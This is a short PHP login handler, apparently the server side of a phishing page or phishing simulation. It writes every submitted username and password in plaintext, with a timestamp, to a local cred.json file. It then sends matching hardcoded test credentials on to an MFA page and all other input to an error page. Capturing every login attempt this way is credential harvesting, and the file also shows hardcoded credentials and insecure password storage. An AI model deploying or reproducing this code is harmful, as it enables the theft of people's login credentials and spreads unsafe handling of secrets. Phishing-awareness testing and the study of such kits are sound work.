<?php
$credentialsFile = __DIR__ . '/cred.json';
$entries = [];

if (file_exists($credentialsFile)) {
    $existing = file_get_contents($credentialsFile);
    $decoded = json_decode($existing, true);
    if (is_array($decoded)) {
        $entries = $decoded;
    }
}

$username = trim($_POST['username'] ?? '');
$password = trim($_POST['password'] ?? '');

$validUsername = 'testuser';
$validPassword = 'testpass';

$entries[] = [
    'timestamp' => date('c'),
    'username' => $username,
    'password' => $password,
];

file_put_contents(
    $credentialsFile,
    json_encode($entries, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) . PHP_EOL
);

if ($username === $validUsername && $password === $validPassword) {
    header('Content-Type: application/json');
    echo json_encode(['redirect' => 'mfa.html?username=' . urlencode($username)]);
    exit;
}

header('Content-Type: application/json');
echo json_encode(['redirect' => 'index.html?status=error']);
exit;
?>
